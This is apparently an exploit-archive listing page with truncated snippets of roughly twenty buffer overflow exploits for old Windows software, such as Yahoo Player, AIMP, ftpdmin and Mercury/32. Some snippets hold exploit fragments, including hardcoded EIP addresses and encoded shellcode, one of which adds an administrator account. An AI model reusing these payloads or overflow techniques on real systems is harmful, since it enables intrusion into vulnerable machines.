IDEAL Administration 2010 v10.2 Local Buffer Overflow Exploit

Exploit for windows platform in category local exploits ============================================================= IDEAL Administration 2010 v10.2 Local Buffer Overflow Exploit ============================================================= !/usr/bin/env python IDEAL Administration 2010 v10.2...

IDEAL Migration 2009 v4.5.1 Local Buffer Overflow Exploit

Exploit for windows platform in category local exploits ========================================================= IDEAL Migration 2009 v4.5.1 Local Buffer Overflow Exploit ========================================================= !/usr/bin/env python IDEAL Migration 2009 v4.5.1 Local Buffer...

Viscom Software Movie Player Pro SDK ActiveX 6.8 Buffer Overflow

Exploit for windows platform in category remote exploits ======================================================================= Viscom Software Movie Player Pro SDK ActiveX 6.8 Remote Buffer Overflow ======================================================================= -----BEGIN PGP SIGNED...

Yahoo Player 1.0 - .m3u Local Buffer Overflow

Yahoo Player 1.0 - .m3u Local Buffer Overflow Title: Yahoo Player v1.0 .m3u Buffer Overflow Exploit direct EIP overwrite Date: 2010-03-07 Author: BombardMr. tro0oqy originally discovered it, and gave a SEH Version:1.0 Tested on: Windows XP SP2 CVE: my $file="crash.m3u"; my $junkA="A"x2080; my...

Yahoo Player 1.0 - '.m3u' Local Buffer Overflow

Title: Yahoo Player v1.0 .m3u Buffer Overflow Exploit direct EIP overwrite Date: 2010-03-07 Author: BombardMr. tro0oqy originally discovered it, and gave a SEH Version:1.0 Tested on: Windows XP SP2 CVE: my $file="crash.m3u"; my $junkA="A"x2080; my $eip=pack'V',0x7c80ae31; eip my $junkC="C"x12;...

Adobe Illustrator CS4 (V14.0.0) Encapsulated Postscript (.eps) Overlong DSC Comment Buffer Overflow Exploit

?php / Adobe Illustrator CS4 V14.0.0 Encapsulated Postscript .eps overlong DSC Comment Buffer Overflow Exploit by Nine:Situations:Group::pyrokinesis site: http://retrogod.altervista.org/ An overlong string as DSC comment more than 42000 bytes results in a direct EIP overwrite. Exception is...

AOL 9.1 SuperBuddy SetSuperBuddy() Code Execution

Set obj = CreateObject"Sb.SuperBuddy.1" shellcode = unescape"%u03eb%ueb59%ue805%ufff8%uffff%u4949%u3749%u4949" + "%u4949%u4949%u4949%u4949%u4949%u4949%u5a51%u456a" + "%u5058%u4230%u4231%u6b41%u4141%u3255%u4241%u3241" + "%u4142%u4230%u5841%u3850%u4241%u6d75%u6b39%u494c" +...

AIMP 2.51 build 330 (ID3v1/ID3v2 Tag) Remote Stack BOF PoC (SEH)

Exploit for unknown platform in category dos / poc ================================================================ AIMP 2.51 build 330 ID3v1/ID3v2 Tag Remote Stack BOF PoC SEH ================================================================ | | / | AIMP 2.51 build 330 ID3v1/ID3v2 Tag | /---, |...

AIMP 2.51 build 330 - ID3v1ID3v2 Tag Remote Stack Buffer Overflow (PoC) (SEH)

AIMP 2.51 build 330 - ID3v1ID3v2 Tag Remote Stack Buffer Overflow PoC SEH | | / | AIMP 2.51 build 330 ID3v1/ID3v2 Tag | /---, | Remote Stack Buffer Overflow PoC SEH | ----- ==| | | | : ==| |......................................................| -----'---- | || | ' |==== | /,-,"--"------ //,-,...

ftpdmin 0.96 RNFR Remote Buffer Overflow Exploit (xp sp3/case study)

No description provided by source. ?php / ftpdmin v. 0.96 RNFR remote buffer overflow exploit xp sp3 / case study by Nine:Situations:Group::surfista software site: http://www.sentex.net/mwandel/ftpdmin/ our site: http://retrogod.altervista.org/ bug found by rgod in 2006, RNFR sequences can trigge...

FTPDMIN 0.96 (Windows XP SP3) - 'RNFR' Remote Buffer Overflow

".$cmd."\n"; $buff=ftpraw$connid,$cmd; WinExec shellcode of mine, enconded with the alpha2 tool by SkyLined, adds a "surfista" admin user with pass "pass" contains hardcoded address, re-encode command: alpha2 esp shdmp.txt $scode="TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI"...

ftpdmin v. 0.96 RNFR remote buffer overflow exploit

?php / ftpdmin v. 0.96 RNFR remote buffer overflow exploit xp sp3 / case study by Nine:Situations:Group::surfista software site: http://www.sentex.net/mwandel/ftpdmin/ our site: http://retrogod.altervista.org/ bug found by rgod in 2006, RNFR sequences can trigger a simple eip overwrite. We can us...

Elecard AVC HD Player Overflow

!/usr/bin/perl Elecard AVC HD PLAYER m3u/xpl file Local Stack Overflow POC Found By AlpHaNiX From NullArea.Net proof of concept Stack Get Overflowed Starting from 2353 char EIP overitten ------------------ REGISTRES ------------------ EAX 00000000 ECX 41414141 EDX 775A104D ntdll.775A104D EBX...

blazedvd_bof.pl.txt

!/usr/bin/perl Title: BlazeDVD 5.0 PLF Playlist File Remote Buffer Overflow Exploit PoC Summary: BlazeDVD is leading powerful and easy-to-use DVD player software. It can provide superior video and audioDolby quality, together with other enhanced features:e.g. recording DVD,playback image and...

DivX Player 6.7.0 - .srt File Buffer Overflow (PoC)

DivX Player 6.7.0 - .srt File Buffer Overflow PoC DIVX Player $file" or die "Cannot open $file: $!"; print $file "1 \n"; print $file "00:00:01,001 -- 00:00:02,001\n"; print $file $payload; close$file; print "$file has been created \n"; milw0rm.com 2008-04-15...

MPlayer sdpplin_parse() Array Indexing Buffer Overflow Exploit PoC

No description provided by source. !/usr/bin/perl Huston, mplayer got some vulns! : CVE-2008-0073 also apply to mplayer and vlc with some distinctions. Assuming kernel.varandomize=0 this overwrite EIP with a "stream" structure on my box...

Crystal Reports XI Release 2 (Enterprise Tree Control) ActiveX BOF/DoS

No description provided by source. Application: Crystal Reports XI Release 2 Enterprise Tree Control Remote BoF/Dos www.businessobjects.com Versions: 11 Platforms: Windows XP Professional Bug: buffer-overflow Exploitation: remote Date: 2007-01-16 Author: shinnai e-mail: shinnaiatautisticidotorg...

Mercury/32 v3.32-v4.51 SMTP Pre-Auth EIP Overwrite Exploit

No description provided by source. / Dreatica-FXP crew ---------------------------------------- Target : Mercury/32 SMTP Server Found by : [email protected], http://www.offensive-security.com ---------------------------------------- Exploit : Mercury/32 v3.32-v4.51 SMTP Pre-Auth EIP...

Mercury/32 v3.32-v4.51 SMTP Pre-Auth EIP Overwrite Exploit

Exploit for unknown platform in category remote exploits ========================================================== Mercury/32 v3.32-v4.51 SMTP Pre-Auth EIP Overwrite Exploit ========================================================== / Dreatica-FXP crew ----------------------------------------...

Mercury/32 Mail Server 3.32 < 4.51 - SMTP EIP Overwrite

/ Dreatica-FXP crew ---------------------------------------- Target : Mercury/32 SMTP Server Found by : [email protected], http://www.offensive-security.com ---------------------------------------- Exploit : Mercury/32 v3.32-v4.51 SMTP Pre-Auth EIP overwrite exploit Exploit date :...